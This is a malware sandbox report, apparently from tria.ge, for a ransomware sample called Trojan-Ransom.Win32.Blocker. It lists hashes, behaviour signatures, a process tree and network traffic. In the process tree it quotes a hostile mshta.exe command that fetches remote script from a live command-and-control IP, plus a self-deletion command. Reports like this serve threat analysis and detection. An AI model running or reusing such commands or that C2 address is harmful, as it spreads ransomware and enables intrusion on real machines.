Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
36s -
max time network
69s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
-
submitted
07/11/2022, 10:24 UTC
Errors
General
-
Target
Trojan-Ransom.Win32.Blocker.exe
-
Size
1.0MB
-
MD5
985ee7dc0de6c5081bf40ba08b93d37b
-
SHA1
9386445adf364543c10c8f11cef54cfcd4fdd54f
-
SHA256
4b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c
-
SHA512
ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee
-
SSDEEP
24576:gljS8/Ns4q86Oh1Jp9cAnlwDUctAaxu19GroaJqlZJhUr:x8u4q8xXTeAnEUc6CuWroaJqFhUr
Malware Config
Extracted
http://93.115.82.248/?0=1&1=0&2=9&3=i&4=7601&5=1&6=1111&7=fbwicfagwq
Signatures
-
UAC bypass 3 TTPs 3 IoCs
-
Executes dropped EXE 1 IoCs
-
Sets file execution options in registry 2 TTPs 12 IoCs
-
Deletes itself 1 IoCs
-
Loads dropped DLL 2 IoCs
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Checks whether UAC is enabled 1 TTPs 1 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 3 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 22 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
-
Suspicious use of SendNotifyMessage 1 IoCs
-
Suspicious use of SetWindowsHookEx 3 IoCs
-
Suspicious use of WriteProcessMemory 12 IoCs
-
System policy modification 1 TTPs 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Blocker.exe"C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Blocker.exe"1⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\guard-kgch.exeC:\Users\Admin\AppData\Roaming\guard-kgch.exe2⤵
- UAC bypass
- Executes dropped EXE
- Sets file execution options in registry
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SysWOW64\mshta.exemshta.exe "http://93.115.82.248/?0=1&1=0&2=9&3=i&4=7601&5=1&6=1111&7=fbwicfagwq"3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\TROJAN~1.EXE" >> NUL2⤵
- Deletes itself
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x01⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵
Network
-
DNScheckip.dyndns.orgRemote address:8.8.8.8:53Requestcheckip.dyndns.orgIN AResponsecheckip.dyndns.orgIN CNAMEcheckip.dyndns.comcheckip.dyndns.comIN A132.226.247.73checkip.dyndns.comIN A132.226.8.169checkip.dyndns.comIN A193.122.6.168checkip.dyndns.comIN A158.101.44.242checkip.dyndns.comIN A193.122.130.0 -
GEThttp://checkip.dyndns.org/Remote address:132.226.247.73:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Date: Mon, 07 Nov 2022 10:25:46 GMT
Content-Type: text/html
Content-Length: 104
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
93.184.220.29:80
-
204.79.197.200:443
-
132.226.247.73:80http://checkip.dyndns.org/http
HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200
-
8.8.8.8:53checkip.dyndns.orgdns
DNS Request
checkip.dyndns.org
DNS Response
132.226.247.73132.226.8.169193.122.6.168158.101.44.242193.122.130.0
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.0MB
MD5985ee7dc0de6c5081bf40ba08b93d37b
SHA19386445adf364543c10c8f11cef54cfcd4fdd54f
SHA2564b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c
SHA512ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee
-
Filesize
1.0MB
MD5985ee7dc0de6c5081bf40ba08b93d37b
SHA19386445adf364543c10c8f11cef54cfcd4fdd54f
SHA2564b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c
SHA512ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee
-
Filesize
1.0MB
MD5985ee7dc0de6c5081bf40ba08b93d37b
SHA19386445adf364543c10c8f11cef54cfcd4fdd54f
SHA2564b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c
SHA512ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee
-
Filesize
1.0MB
MD5985ee7dc0de6c5081bf40ba08b93d37b
SHA19386445adf364543c10c8f11cef54cfcd4fdd54f
SHA2564b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c
SHA512ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee
-
Filesize
8KB
-
Filesize
380KB
-
Filesize
16KB
-
Filesize
1.5MB
-
Filesize
1.5MB
-
Filesize
8KB
-
Filesize
380KB
-
Filesize
1.5MB
-
Filesize
380KB
-
Filesize
1.5MB
-
Filesize
380KB
-
Filesize
1.5MB
-
Filesize
380KB